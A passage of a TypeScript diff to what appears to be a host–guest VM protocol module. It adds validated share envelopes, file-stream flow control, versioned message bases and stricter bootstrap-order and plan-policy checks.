COWORK_NATIVE_LIMITS.rootsPerConversation) return fail(); const roots = value.map(root => record(root, ROOT_SPEC) as unknown as CoworkNativeConversationRoot); @@ -452,8 +531,14 @@ const toolClassesOf: Validator typeof value === "string" && UUID4.test(value) ? value : fail()], ["generation", uint(1, Number.MAX_SAFE_INTEGER)]]; -const RUNTIME_SPEC: Spec = [["model", value => typeof value === "string" && value.length >= 1 && value.length <= 256 && ASCII_TEXT.test(value) ? value : fail()], ["timeoutMs", uint(1, 600_000)], - ["toolClasses", toolClassesOf], ["provider", providerOf], ["guided", nullable(recordOf(GUIDED_SPEC))]]; +const endedBootsOf: Validator = value => { + if (!Array.isArray(value) || value.length > COWORK_NATIVE_LIMITS.endedGuestBoots) return fail(); + const boots = value.map(guestBoot); + return new Set(boots).size === boots.length ? Object.freeze(boots) : fail(); +}; +const RUNTIME_SPEC: Spec = [["model", value => typeof value === "string" && value.length >= 1 && value.length <= 256 && ASCII_TEXT.test(value) ? value : fail()], ["timeoutMs", uint(1, COWORK_NATIVE_LIMITS.runtimeTimeoutCeilingMs)], + ["toolClasses", toolClassesOf], ["provider", providerOf], ["guided", nullable(recordOf(GUIDED_SPEC))], + ["continuation", oneOf(["fresh", "resume", "either"] as const)], ["endedGuestBoots", endedBootsOf]]; const CONVERSATION_SPEC: Spec = [["logicalSessionId", sdkId], ["authority", recordOf(AUTHORITY_SPEC)], ["runtimeUid", unixId], ["toolUid", unixId], ["workspaceGid", unixId], ["policy", oneOf(COWORK_NATIVE_POLICIES)], ["roots", rootsOf], ["runtime", nullable(recordOf(RUNTIME_SPEC))]]; /** One conversation: the field rules plus the rules that tie its fields to each other (the supervisor's own checks, mirrored). */ @@ -462,14 +547,21 @@ const conversationOf: Validator = value => { if (!item.roots.every(root => allowedView(root.guestPath, item.logicalSessionId))) return fail(); // The host builder always sends source === guestPath (the guest sees each root where the host admitted it); the host enforces that on its side too (with the line above, the source is then an admitted view too). if (!item.roots.every(root => root.source === root.guestPath)) return fail(); + // The plan view exists only under the plan policy, at most once, and is the ONE writable root there (it is read-write by definition, never read-only). + const planViews = item.roots.filter(root => isPlanView(root.guestPath)); + if (planViews.length > 1 || planViews.some(root => item.policy !== "plan" || root.readOnly)) return fail(); + // Contract 12.3a: under the plan policy the plan view is the ONLY writable root, for every conversation (host-query or tools-only). + if (item.policy === "plan" && item.roots.some(root => !root.readOnly && !isPlanView(root.guestPath))) return fail(); const runtime = item.runtime; if (runtime !== null) { - // `host_query_config`: a host-query conversation sees folders, repos and outputs only (never the `.winter` tree), and plan is read-only. - if (item.roots.some(root => root.guestPath === "/workspace/.winter" || root.guestPath.startsWith("/workspace/.winter/") || (item.policy === "plan" && !root.readOnly))) return fail(); + // `host_query_config`: a host-query conversation sees folders, repos and outputs only (never the `.winter` tree). + if (item.roots.some(root => root.guestPath === "/workspace/.winter" || root.guestPath.startsWith("/workspace/.winter/"))) return fail(); const scope = runtime.provider.scope as Record, selection = runtime.provider.selection as Record; // `_configure_runtime`: the provider scope must be this conversation's own, and the selected model the one that runs. if (scope.workspaceId !== item.authority.workspaceId || scope.sessionId !== item.logicalSessionId || scope.backendSessionId !== item.authority.sessionId || scope.incarnationId !== item.authority.incarnationId || scope.leaseEpoch !== item.authority.leaseEpoch || scope.grantRevision !== item.authority.grantRevision || selection.modelKey !== runtime.model) return fail(); + // Cold resume: a fresh store has no earlier boot to vouch for, and the live boot can never be attested as ended. + if ((runtime.continuation === "fresh" && runtime.endedGuestBoots.length > 0) || runtime.endedGuestBoots.includes(scope.bootId as string)) return fail(); } return Object.freeze(item); }; @@ -490,6 +582,9 @@ function checkConversationsMessage(message: Record): void { if (new Set(items.map(item => item.logicalSessionId)).size !== items.length || new Set(items.map(item => item.authority.sessionId)).size !== items.length) return fail(); const uids = items.flatMap(item => [item.runtimeUid, item.toolUid]); if (new Set(uids).size !== uids.length || items.some(item => items.some(other => other.runtimeUid === item.workspaceGid || other.toolUid === item.workspaceGid))) return fail(); + // The file channel's browse uid (one per workspace, contract revision 3) is no member's runtime or tool uid and no group id. + const browseUid = message.browseUid as number | null; + if (browseUid !== null && (uids.includes(browseUid) || items.some(item => item.workspaceGid === browseUid))) return fail(); if (new Set(items.filter(item => item.runtime).map(item => (item.runtime!.provider.scope as Record).bootId)).size > 1) return fail(); } /** What a sender fixes before it sends, and a receiver compares against the plan and `hello` it holds. A set that does not match is never sent and never started. */ @@ -500,7 +595,22 @@ export function coworkNativeConversationsAreBound(message: Extract).bootId === expected.guestBootId)); } -const MESSAGE_BASE: Spec = [["v", literal(1)]]; +const CONTROL_BASE: Spec = [["v", literal(COWORK_NATIVE_CONTROL_VERSION)]]; +const BOOTSTRAP_BASE: Spec = [["v", literal(COWORK_NATIVE_BOOTSTRAP_VERSION)]]; +const GUEST_SHARE_SPEC: Spec = [["tag", shareTag], ["guestPath", value => guestPath(value)], ["readOnly", bool], ["kind", oneOf(COWORK_NATIVE_SHARE_KINDS)]]; +const guestSharesOf: Validator = value => { + if (!Array.isArray(value)) return fail(); + const items = value.map(item => Object.freeze(record(item, GUEST_SHARE_SPEC) as unknown as CoworkNativeGuestShare)); + checkShareSet(items); + return Object.freeze(items); +}; +const continuationsOf: Validator = value => { + if (!Array.isArray(value) || value.length > COWORK_NATIVE_LIMITS.conversationItems) return fail(); + return Object.freeze(value.map(oneOf(["fresh", "resume"] as const))); +}; +function checkRuntimeReady(message: Record): void { + if ((message.continuations as readonly string[]).length > (message.conversations as number)) return fail(); +} const operation: Spec = [["operationId", token], ["nonce", nonce]]; const planBody: Validator> = value => { const plan = sortedObject(value); @@ -523,21 +633,23 @@ const BOOTSTRAP_SPECS: Record> = down: { plan: [["t", literal("plan")], ...operation, ["plan", planBody]], ready: [["t", literal("ready")], ...operation], - conversations: [["t", literal("conversations")], ...operation, ["incarnationId", token], ["profile", nullable(oneOf(COWORK_NATIVE_RUNTIME_PROFILES))], ["conversations", conversationsOf]], + shares: [["t", literal("shares")], ...operation, ["shares", guestSharesOf]], + conversations: [["t", literal("conversations")], ...operation, ["incarnationId", token], ["profile", nullable(oneOf(COWORK_NATIVE_RUNTIME_PROFILES))], ["browseUid", nullable(unixId)], ["conversations", conversationsOf]], }, up: { hello: [["t", literal("hello")], ["guestBootId", guestBoot], ["dataSerial", literal(COWORK_NATIVE_DATA_SERIAL)], ["environmentSerial", literal(COWORK_NATIVE_ENVIRONMENT_SERIAL)]], receipt: [["t", literal("receipt")], ...operation, ["receipt", sortedObject]], fault: [["t", literal("fault")], ...operation, ["code", oneOf(COWORK_NATIVE_BOOTSTRAP_FAULTS)]], mounted: [["t", literal("mounted")], ...operation], - runtime_ready: [["t", literal("runtime_ready")], ...operation, ["conversations", uint(1, COWORK_NATIVE_LIMITS.conversationItems)]], + shares_mounted: [["t", literal("shares_mounted")], ...operation], + runtime_ready: [["t", literal("runtime_ready")], ...operation, ["conversations", uint(1, COWORK_NATIVE_LIMITS.conversationItems)], ["continuations", continuationsOf]], }, }; /** Cross-field rules of one message type, run after its fields validated; and a tighter size cap than the class ceiling. */ -const MESSAGE_CHECKS: Record) => void> = { conversations: checkConversationsMessage }; +const MESSAGE_CHECKS: Record) => void> = { conversations: checkConversationsMessage, runtime_ready: checkRuntimeReady }; /** The guest's relay refuses a bootstrap-DOWN payload above 20,480 bytes (guest-local; the class ceiling stays 262,144 for the guest's own receipts). A plan is about 1.7 KiB and its own schema caps it at 16 KiB, so only the conversation set needs a cap of its own. */ -const MESSAGE_CAPS: Record = { conversations: COWORK_NATIVE_LIMITS.conversationsBytes }; -function jsonPayload(bytes: Uint8Array, specs: Record, maxBytes: number, depth: number): Record { +const MESSAGE_CAPS: Record = { conversations: COWORK_NATIVE_LIMITS.conversationsBytes, shares: COWORK_NATIVE_LIMITS.conversationsBytes }; +function jsonPayload(bytes: Uint8Array, specs: Record, maxBytes: number, depth: number, base: Spec): Record { if (bytes.length > maxBytes) return fail("oversize"); let text: string; // ignoreBOM keeps a leading U+FEFF in the text (the default silently strips it), so a byte order mark is a malformed payload, never accepted. @@ -549,7 +661,9 @@ function jsonPayload(bytes: Uint8Array, specs: Record, maxBytes: n const spec = typeof type === "string" && Object.hasOwn(specs, type) ? specs[type]! : undefined; if (!spec) return fail("unknown_type"); if (bytes.length > (MESSAGE_CAPS[type as string] ?? maxBytes)) return fail("oversize"); - const typed = record(parsed, [...MESSAGE_BASE, ...spec]); + // The version is judged before the schema, so a peer one revision behind is told `version`, never `bad_field`. + if (parsed.v !== (base === BOOTSTRAP_BASE ? COWORK_NATIVE_BOOTSTRAP_VERSION : COWORK_NATIVE_CONTROL_VERSION)) return fail("version"); + const typed = record(parsed, [...base, ...spec]); MESSAGE_CHECKS[type as string]?.(typed); if (JSON.stringify(typed) !== text) return fail("malformed"); delete typed.v; @@ -560,15 +674,19 @@ const writeAscii = (view: Uint8Array, offset: number, text: string, width: numbe /** A runtime payload is a 4 byte stream prefix and then the stream's bytes (section 6.2). The prefix lives in the payload, not the header, so every relay * that forwards frames without reading them (launcher, worker) needs no change and the header's flags stay zero. * 0 1 conversation index into the delivered `conversations` list, 0 to 15 - * 1 1 stream 1 = IN (host to guest), 2 = OUT (guest to host), 3 = ERR (guest to host); 0 is never valid + * 1 1 stream 1 = IN (host to guest), 2 = OUT (guest to host), 3 = ERR (guest to host), 4 = FILE_IN (host to guest), 5 = FILE_OUT (guest to host); + * 0 and 6 or more are never valid, and 4 and 5 are valid on conversation 0 only * 2 1 flags bit 0 = end of this stream after these bytes; every other bit zero * 3 1 reserved zero * An empty data section is valid only with the end flag. */ +const isDownStream = (stream: CoworkNativeRuntimeStream): boolean => stream === "in" || stream === "file_in"; +const isFileStream = (stream: CoworkNativeRuntimeStream): boolean => stream === "file_in" || stream === "file_out"; function runtimeFrame(seq: number, payload: Uint8Array, direction: CoworkNativeMuxDirection): CoworkNativeMuxFrame { if (payload.length < COWORK_NATIVE_LIMITS.runtimePrefixBytes) return fail("malformed"); const conversation = payload[0]!, stream = COWORK_NATIVE_RUNTIME_STREAMS[payload[1]! - 1], flags = payload[2]!; if (conversation >= COWORK_NATIVE_LIMITS.runtimeConversations || stream === undefined || flags > 1 || payload[3] !== 0) return fail("bad_field"); - if ((stream === "in") !== (direction === "down")) return fail("bad_direction"); + if (isFileStream(stream) && conversation !== 0) return fail("bad_field"); + if (isDownStream(stream) !== (direction === "down")) return fail("bad_direction"); const data = payload.slice(COWORK_NATIVE_LIMITS.runtimePrefixBytes), end = flags === 1; if (data.length === 0 && !end) return fail("bad_field"); return Object.freeze({ class: "runtime" as const, seq, conversation, stream, end, payload: data }); @@ -576,7 +694,8 @@ function runtimeFrame(seq: number, payload: Uint8Array, direction: CoworkNativeM function runtimePayload(frame: Extract, direction: CoworkNativeMuxDirection): Uint8Array { const stream = COWORK_NATIVE_RUNTIME_STREAMS.indexOf(frame.stream) + 1; if (!Number.isInteger(frame.conversation) || frame.conversation < 0 || frame.conversation >= COWORK_NATIVE_LIMITS.runtimeConversations || stream < 1 || typeof frame.end !== "boolean" || !(frame.payload instanceof Uint8Array)) return fail("bad_field"); - if ((frame.stream === "in") !== (direction === "down")) return fail("bad_direction"); + if (isFileStream(frame.stream) && frame.conversation !== 0) return fail("bad_field"); + if (isDownStream(frame.stream) !== (direction === "down")) return fail("bad_direction"); if (frame.payload.length === 0 && !frame.end) return fail("bad_field"); const out = new Uint8Array(COWORK_NATIVE_LIMITS.runtimePrefixBytes + frame.payload.length); out[0] = frame.conversation; out[1] = stream; out[2] = frame.end ? 1 : 0; @@ -602,7 +721,7 @@ export function parseCoworkNativeMuxFrame(bytes: Uint8Array, direction: CoworkNa const payload = bytes.slice(COWORK_NATIVE_LIMITS.headerBytes); if (cls === "runtime") return runtimeFrame(seq, payload, direction); const specs = cls === "control" ? CONTROL_SPECS[direction] : BOOTSTRAP_SPECS[direction], max = COWORK_NATIVE_LIMITS.muxPayloadBytes[cls]; - const message = Object.freeze(jsonPayload(payload, specs, max, cls === "control" ? COWORK_NATIVE_LIMITS.depth.control : COWORK_NATIVE_LIMITS.depth.bootstrap)) as unknown; + const message = Object.freeze(jsonPayload(payload, specs, max, cls === "control" ? COWORK_NATIVE_LIMITS.depth.control : COWORK_NATIVE_LIMITS.depth.bootstrap, cls === "control" ? CONTROL_BASE : BOOTSTRAP_BASE)) as unknown; return Object.freeze(cls === "control" ? { class: "control", seq, message: message as CoworkNativeControlMessage } : { class: "bootstrap", seq, message: message as CoworkNativeBootstrapMessage }); } export function serializeCoworkNativeMuxFrame(frame: CoworkNativeMuxFrame, direction: CoworkNativeMuxDirection): Uint8Array { @@ -615,7 +734,8 @@ export function serializeCoworkNativeMuxFrame(frame: CoworkNativeMuxFrame, direc const specs = frame.class === "control" ? CONTROL_SPECS[direction] : BOOTSTRAP_SPECS[direction], type = (frame.message as { t: string }).t; const spec = Object.hasOwn(specs, type) ? specs[type]! : undefined; if (!spec) return fail("unknown_type"); - const typed = record({ v: 1, ...frame.message }, [...MESSAGE_BASE, ...spec]); + const base = frame.class === "control" ? CONTROL_BASE : BOOTSTRAP_BASE; + const typed = record({ v: frame.class === "control" ? COWORK_NATIVE_CONTROL_VERSION : COWORK_NATIVE_BOOTSTRAP_VERSION, ...frame.message }, [...base, ...spec]); MESSAGE_CHECKS[type]?.(typed); const text = JSON.stringify(typed); if (!ASCII_TEXT.test(text)) return fail("malformed"); @@ -646,6 +766,11 @@ export class CoworkNativeMuxSequence { export class CoworkNativeRuntimeStreams { private readonly ended = new Set(); private inFlight = 0; + /** File channel (its own count, never the runtime IN count): request lines sent and not yet answered, and the byte length of the request and response + * lines in progress. FILE_IN bytes never add to `inFlight`, and FILE_OUT bytes never clear it: each stream's own reader is the only proof of its progress. */ + private fileOutstanding = 0; + private fileRequestLine = 0; + private fileResponseLine = 0; constructor(private readonly conversations: number) { // N2 (D10): the runtime class serves exactly one host-query conversation, index 0. if (conversations !== 1) fail("bad_field"); @@ -655,11 +780,36 @@ export class CoworkNativeRuntimeStreams { const key = `${frame.conversation}:${frame.stream}`; if (frame.conversation >= this.conversations || this.ended.has(key)) return fail("bad_field"); // Flow control (host side, normative): IN bytes the guest has not answered stay at or below runtimeInFlightBytes. Any OUT or ERR frame that carries payload bytes shows the guest is reading and clears the count; an empty one (the end flag alone) does not. - if (frame.stream === "in") { if (this.inFlight + frame.payload.length > COWORK_NATIVE_LIMITS.runtimeInFlightBytes) return fail("oversize"); this.inFlight += frame.payload.length; } else if (frame.payload.length > 0) this.inFlight = 0; // only payload BYTES prove the guest is reading: an empty frame (the end flag alone) clears nothing + if (frame.stream === "file_in" || frame.stream === "file_out") this.acceptFile(frame.stream, frame.payload); + else if (frame.stream === "in") { if (this.inFlight + frame.payload.length > COWORK_NATIVE_LIMITS.runtimeInFlightBytes) return fail("oversize"); this.inFlight += frame.payload.length; } else if (frame.payload.length > 0) this.inFlight = 0; // only payload BYTES prove the guest is reading: an empty frame (the end flag alone) clears nothing if (frame.end) this.ended.add(key); } /** What a sender may still put on IN before it must wait for the guest to answer. */ get inFlightBudget(): number { return COWORK_NATIVE_LIMITS.runtimeInFlightBytes - this.inFlight; } + /** How many more file request lines the host may complete before it must wait for a response line. */ + get fileRequestBudget(): number { return COWORK_NATIVE_LIMITS.fileInFlightRequests - this.fileOutstanding; } + /** All-or-nothing: the state moves only when the whole frame is legal. A request line above 16 KiB or a fifth outstanding request is `oversize`; a + * response line above 384 KiB is `oversize`; a response byte with no request outstanding cannot be attributed and is `bad_field`. */ + private acceptFile(stream: "file_in" | "file_out", bytes: Uint8Array): void { + let outstanding = this.fileOutstanding; + if (stream === "file_in") { + let line = this.fileRequestLine; + for (const byte of bytes) { + if (++line > COWORK_NATIVE_LIMITS.fileRequestBytes) return fail("oversize"); + if (byte === 0x0a) { if (++outstanding > COWORK_NATIVE_LIMITS.fileInFlightRequests) return fail("oversize"); line = 0; } + } + this.fileRequestLine = line; + } else { + let line = this.fileResponseLine; + for (const byte of bytes) { + if (outstanding === 0) return fail("bad_field"); + if (++line > COWORK_NATIVE_LIMITS.fileResponseBytes) return fail("oversize"); + if (byte === 0x0a) { outstanding -= 1; line = 0; } + } + this.fileResponseLine = line; + } + this.fileOutstanding = outstanding; + } } // ------------------------------------------------------------------------------------------------ launcher envelopes (L2) @@ -670,10 +820,13 @@ export class CoworkNativeRuntimeStreams { * kind 3 DRAIN to worker 28 bytes no descriptors * kind 4 STATUS to launcher 40 bytes no descriptors * kind 5 FAULT to launcher 8 bytes no descriptors + * kind 6 SHARES to worker 3,704 bytes exactly one descriptor per share (1 to 12) (contract revision 3) + * kind 7 SHARE_REVOKE to worker 32 bytes no descriptors + * kind 8 SHARE_EVENT to launcher 40 bytes no descriptors (`share_revoked`, `share_notice`) * Every reserved byte is zero; a datagram with any other length, magic, version, flag, rights count or non-zero reserved byte is refused. */ export const COWORK_NATIVE_ENVELOPE_MAGIC = "WEV1"; -export const COWORK_NATIVE_ENVELOPE_KINDS = Object.freeze(["scope", "volumes", "drain", "status", "fault"] as const); -export const COWORK_NATIVE_ENVELOPE_PAYLOAD_BYTES = Object.freeze({ scope: 512, volumes: 104, drain: 28, status: 40, fault: 8 }); +export const COWORK_NATIVE_ENVELOPE_KINDS = Object.freeze(["scope", "volumes", "drain", "status", "fault", "shares", "share_revoke", "share_event"] as const); +export const COWORK_NATIVE_ENVELOPE_PAYLOAD_BYTES = Object.freeze({ scope: 512, volumes: 104, drain: 28, status: 40, fault: 8, shares: 3704, share_revoke: 32, share_event: 40 }); // ------------------------------------------------------------------------------------------------ bootstrap order /** One bootstrap-class message as a transcript records it: `down` is host to guest, `up` guest to host. */ @@ -681,11 +834,12 @@ export interface CoworkNativeBootstrapEvent { readonly dir: "down" | "up"; reado export type CoworkNativeBootstrapOrder = { readonly ok: true } | { readonly ok: false; readonly index: number; readonly reason: "out_of_order" | "second_conversations" | "duplicate_runtime_ready" }; const BOOTSTRAP_STEPS: Readonly> = Object.freeze({ hello: { dir: "up", after: null }, plan: { dir: "down", after: "hello" }, receipt: { dir: "up", after: "plan" }, ready: { dir: "down", after: "receipt" }, - mounted: { dir: "up", after: "ready" }, conversations: { dir: "down", after: "mounted" }, runtime_ready: { dir: "up", after: "conversations" }, + mounted: { dir: "up", after: "ready" }, shares: { dir: "down", after: "mounted" }, shares_mounted: { dir: "up", after: "shares" }, + conversations: { dir: "down", after: "mounted" }, runtime_ready: { dir: "up", after: "conversations" }, }); /** - * The order of one incarnation's bootstrap messages (the single-pass, stateless statement of the rules; section 6.1): hello, plan, receipt, ready, mounted, conversations, - * runtime_ready, each only after the one before it and each at most once. `protocol.ts` parses one frame at a time, so "once per incarnation" is ENFORCED by the two ends: + * The order of one incarnation's bootstrap messages (the single-pass, stateless statement of the rules; section 6.1): hello, plan, receipt, ready, mounted, then + * optionally shares and shares_mounted, then conversations, runtime_ready, each only after the one before it and each at most once. `protocol.ts` parses one frame at a time, so "once per incarnation" is ENFORCED by the two ends: * the host sender (it sends one set per start) and the guest (a second set is answered with the bootstrap fault `second_conversations` and ignored). A bootstrap `fault` is valid after `hello`. * This function is the shared test oracle for both: it names the first message that breaks the order. */ @@ -697,6 +851,9 @@ export function coworkNativeBootstrapOrder(events: readonly CoworkNativeBootstra if (!step || step.dir !== event.dir) return { ok: false, index, reason: "out_of_order" }; if (seen.has(event.t)) return { ok: false, index, reason: event.t === "conversations" ? "second_conversations" : event.t === "runtime_ready" ? "duplicate_runtime_ready" : "out_of_order" }; if (step.after !== null && !seen.has(step.after)) return { ok: false, index, reason: "out_of_order" }; + // Shares (contract revision 3) are optional, but when they are sent they come before the set, and the set waits for `shares_mounted`. + if (event.t === "shares" && seen.has("conversations")) return { ok: false, index, reason: "out_of_order" }; + if (event.t === "conversations" && seen.has("shares") && !seen.has("shares_mounted")) return { ok: false, index, reason: "out_of_order" }; seen.add(event.t); } return { ok: true }; @@ -710,9 +867,16 @@ export type CoworkNativeEnvelope = | { readonly kind: "volumes"; readonly seq: number; readonly scopeDigest: string; readonly volumes: readonly [CoworkNativeVolumeIdentity, CoworkNativeVolumeIdentity] } | { readonly kind: "drain"; readonly seq: number; readonly stopNonce: string; readonly budgetMs: number; readonly origin: "host-stop" | "owner-loss" } | { readonly kind: "status"; readonly seq: number; readonly state: typeof COWORK_NATIVE_WORKER_STATUS[number]; readonly flush: readonly [CoworkNativeFlushCounters, CoworkNativeFlushCounters] } - | { readonly kind: "fault"; readonly seq: number; readonly code: typeof COWORK_NATIVE_WORKER_FAULTS[number] }; + | { readonly kind: "fault"; readonly seq: number; readonly code: typeof COWORK_NATIVE_WORKER_FAULTS[number] } + | { readonly kind: "shares"; readonly seq: number; readonly shares: readonly CoworkNativeEnvelopeShare[] } + | { readonly kind: "share_revoke"; readonly seq: number; readonly tag: string } + | { readonly kind: "share_event"; readonly seq: number; readonly tag: string; readonly event: "revoked" } + | { readonly kind: "share_event"; readonly seq: number; readonly tag: string; readonly event: "notice"; readonly notice: CoworkNativeShareNoticeKind }; +/** One SHARES record (308 bytes): tag[32] NUL-padded, u64 device, u64 inode, u32 flags, guest_path[256] NUL-padded. `flags` are the libkrun ABI's: + * bit 0 read-only, bit 1 Winter share (O_UNIQUE, R5), bit 2 folder rules (R15); exactly one of bits 1 and 2; nothing else. */ +export interface CoworkNativeEnvelopeShare { readonly tag: string; readonly device: string; readonly inode: string; readonly readOnly: boolean; readonly winterShare: boolean; readonly guestPath: string } /** Which way each kind travels on L2. */ -export const COWORK_NATIVE_ENVELOPE_DIRECTION = Object.freeze({ scope: "to-worker", volumes: "to-worker", drain: "to-worker", status: "to-launcher", fault: "to-launcher" } as const); +export const COWORK_NATIVE_ENVELOPE_DIRECTION = Object.freeze({ scope: "to-worker", volumes: "to-worker", drain: "to-worker", status: "to-launcher", fault: "to-launcher", shares: "to-worker", share_revoke: "to-worker", share_event: "to-launcher" } as const); const SCOPE_TEXT_FIELDS = ["workspaceId", "incarnationId", "controllerInstanceId", "workerInstanceId", "admissionId"] as const; const hexBytes = (text: string): Uint8Array => Uint8Array.from(Buffer.from(text, "hex")); const hexOf = (bytes: Uint8Array): string => Buffer.from(bytes).toString("hex"); @@ -739,6 +903,33 @@ const flushOf = (view: DataView, offset: number): CoworkNativeFlushCounters => { return { requested: Number(requested), completed: Number(completed) }; }; const allZero = (bytes: Uint8Array): boolean => bytes.every(byte => byte === 0); +/** A NUL-padded fixed field: at least one byte of text, then NULs only. */ +function readPadded(view: Uint8Array, offset: number, width: number, check: Validator): string { + const field = view.subarray(offset, offset + width), end = field.indexOf(0); + if (end < 1 || field.subarray(end).some(byte => byte !== 0)) return fail(); + return check(Buffer.from(field.subarray(0, end)).toString("latin1")) as string; +} +const SHARE_FLAG_READ_ONLY = 1, SHARE_FLAG_WINTER = 2, SHARE_FLAG_FOLDER = 4; +/** The guest path in a SHARES record: one of the share mount points (ASCII, below 256 bytes). */ +const envelopeGuestPath: Validator = value => typeof value === "string" && value.length < 256 && ((Object.values(COWORK_NATIVE_SHARE_MOUNTS) as string[]).includes(value) || FOLDER_MOUNT.test(value)) ? value : fail(); +function writeShareRecord(b: DataView, body: Uint8Array, offset: number, share: CoworkNativeEnvelopeShare): void { + if (!isPlain(share) || typeof share.readOnly !== "boolean" || typeof share.winterShare !== "boolean") return fail(); + writeAscii(body, offset, shareTag(share.tag) as string, 32); + b.setBigUint64(offset + 32, BigInt(decimal64(share.device) as string), true); b.setBigUint64(offset + 40, BigInt(decimal64(share.inode) as string), true); + b.setUint32(offset + 48, (share.readOnly ? SHARE_FLAG_READ_ONLY : 0) | (share.winterShare ? SHARE_FLAG_WINTER : SHARE_FLAG_FOLDER), true); + writeAscii(body, offset + 52, envelopeGuestPath(share.guestPath) as string, 256); + readShareRecord(b, body, offset); +} +function readShareRecord(view: DataView, body: Uint8Array, offset: number): CoworkNativeEnvelopeShare { + const flags = view.getUint32(offset + 48, true); + if ((flags & ~7) !== 0 || ((flags & SHARE_FLAG_WINTER) !== 0) === ((flags & SHARE_FLAG_FOLDER) !== 0)) return fail(); + const share = { tag: readPadded(body, offset, 32, shareTag), device: view.getBigUint64(offset + 32, true).toString(), inode: view.getBigUint64(offset + 40, true).toString(), + readOnly: (flags & SHARE_FLAG_READ_ONLY) !== 0, winterShare: (flags & SHARE_FLAG_WINTER) !== 0, guestPath: readPadded(body, offset + 52, 256, envelopeGuestPath) }; + // A Winter share's mount and mode are fixed by its path; a folder source mounts under /workspace/folders/. + const kind = share.winterShare ? (Object.entries(COWORK_NATIVE_SHARE_MOUNTS).find(([, path]) => path === share.guestPath)?.[0] as CoworkNativeShareKind | undefined) : "folder"; + if (kind === undefined || !shareMountOk(kind, share.guestPath) || !shareModeOk(kind, share.readOnly)) return fail(); + return Object.freeze(share); +} /** SHA-256 of the 512 byte SCOPE payload: how a `volumes` line and a VOLUMES envelope name the scope they belong to. */ export function coworkNativeScopeDigest(scope: CoworkNativeScope): string { @@ -779,10 +970,22 @@ export function serializeCoworkNativeEnvelope(envelope: CoworkNativeEnvelope): U } else if (envelope.kind === "status") { b.setUint32(0, COWORK_NATIVE_WORKER_STATUS.indexOf(oneOf(COWORK_NATIVE_WORKER_STATUS)(envelope.state) as never) + 1, true); envelope.flush.forEach((counter, index) => { b.setBigUint64(8 + index * 16, BigInt(uint()(counter.requested) as number), true); b.setBigUint64(16 + index * 16, BigInt(uint()(counter.completed) as number), true); }); - } else b.setUint32(0, COWORK_NATIVE_WORKER_FAULTS.indexOf(oneOf(COWORK_NATIVE_WORKER_FAULTS)(envelope.code) as never) + 1, true); + } else if (envelope.kind === "fault") b.setUint32(0, COWORK_NATIVE_WORKER_FAULTS.indexOf(oneOf(COWORK_NATIVE_WORKER_FAULTS)(envelope.code) as never) + 1, true); + else if (envelope.kind === "shares") { + const shares = envelope.shares; + if (!Array.isArray(shares) || shares.length < 1 || shares.length > COWORK_NATIVE_LIMITS.shares) return fail(); + b.setUint32(0, 1, true); b.setUint32(4, shares.length, true); + shares.forEach((share, index) => writeShareRecord(b, body, 8 + index * COWORK_NATIVE_LIMITS.shareRecordBytes, share)); + if (new Set(shares.map(share => share.tag)).size !== shares.length || new Set(shares.map(share => share.guestPath)).size !== shares.length) return fail(); + } else if (envelope.kind === "share_revoke") writeAscii(body, 0, shareTag(envelope.tag) as string, 32); + else { + writeAscii(body, 0, shareTag(envelope.tag) as string, 32); + if (envelope.event === "revoked") b.setUint32(32, 1, true); + else { b.setUint32(32, 2, true); b.setUint32(36, COWORK_NATIVE_SHARE_NOTICE_KINDS.indexOf(oneOf(COWORK_NATIVE_SHARE_NOTICE_KINDS)(envelope.notice) as never) + 1, true); } + } return out; } -/** `rights` is how many descriptors arrived WITH the datagram. VOLUMES needs exactly 2; everything else exactly 0; the +/** `rights` is how many descriptors arrived WITH the datagram. VOLUMES needs exactly 2, SHARES exactly its share count; everything else exactly 0; the * caller must close any it was handed when this throws. A truncated control buffer is a worker-level `_exit`, not a parse. */ export function parseCoworkNativeEnvelope(bytes: Uint8Array, rights: number, direction: "to-worker" | "to-launcher"): CoworkNativeEnvelope { if (!(bytes instanceof Uint8Array) || bytes.length < COWORK_NATIVE_LIMITS.headerBytes) return fail("malformed"); @@ -792,11 +995,15 @@ export function parseCoworkNativeEnvelope(bytes: Uint8Array, rights: number, dir const kind = COWORK_NATIVE_ENVELOPE_KINDS[header.getUint8(5) - 1]; if (kind === undefined || header.getUint16(6, true) !== 0) return fail("unknown_type"); if (COWORK_NATIVE_ENVELOPE_DIRECTION[kind] !== direction) return fail("bad_direction"); - const seq = header.getUint32(8, true), length = header.getUint32(12, true), wantedRights = kind === "volumes" ? COWORK_NATIVE_LIMITS.volumeRights : 0; + const seq = header.getUint32(8, true), length = header.getUint32(12, true); if (seq < 1) return fail("bad_sequence"); if (length !== COWORK_NATIVE_ENVELOPE_PAYLOAD_BYTES[kind] || bytes.length !== COWORK_NATIVE_LIMITS.headerBytes + length) return fail("malformed"); - if (rights !== wantedRights) return fail("bad_rights"); const payload = bytes.subarray(COWORK_NATIVE_LIMITS.headerBytes), view = new DataView(payload.buffer, payload.byteOffset, payload.byteLength); + // SHARES carries one descriptor per share; its count is the record's own (checked against the slots below). + const shareCount = kind === "shares" ? view.getUint32(4, true) : 0; + const wantedRights = kind === "volumes" ? COWORK_NATIVE_LIMITS.volumeRights : kind === "shares" ? shareCount : 0; + if (kind === "shares" && (shareCount < 1 || shareCount > COWORK_NATIVE_LIMITS.shares)) return fail(); + if (rights !== wantedRights) return fail("bad_rights"); const parsed = ((): CoworkNativeEnvelope => { if (kind === "scope") return { kind, seq, scope: decodeScopePayload(payload) }; if (kind === "volumes") { @@ -813,9 +1020,25 @@ export function parseCoworkNativeEnvelope(bytes: Uint8Array, rights: number, dir if (state === undefined || view.getUint32(4, true) !== 0) return fail(); return { kind, seq, state, flush: Object.freeze([flushOf(view, 8), flushOf(view, 24)]) as unknown as readonly [CoworkNativeFlushCounters, CoworkNativeFlushCounters] }; } - const code = COWORK_NATIVE_WORKER_FAULTS[view.getUint32(0, true) - 1]; - if (code === undefined || view.getUint32(4, true) !== 0) return fail(); - return { kind, seq, code }; + if (kind === "fault") { + const code = COWORK_NATIVE_WORKER_FAULTS[view.getUint32(0, true) - 1]; + if (code === undefined || view.getUint32(4, true) !== 0) return fail(); + return { kind, seq, code }; + } + if (kind === "shares") { + if (view.getUint32(0, true) !== 1) return fail(); + const records = COWORK_NATIVE_LIMITS.shareRecordBytes, used = 8 + shareCount * records; + if (!allZero(payload.subarray(used))) return fail(); + const shares = Array.from({ length: shareCount }, (_, index) => readShareRecord(view, payload, 8 + index * records)); + if (new Set(shares.map(share => share.tag)).size !== shares.length || new Set(shares.map(share => share.guestPath)).size !== shares.length) return fail(); + return { kind, seq, 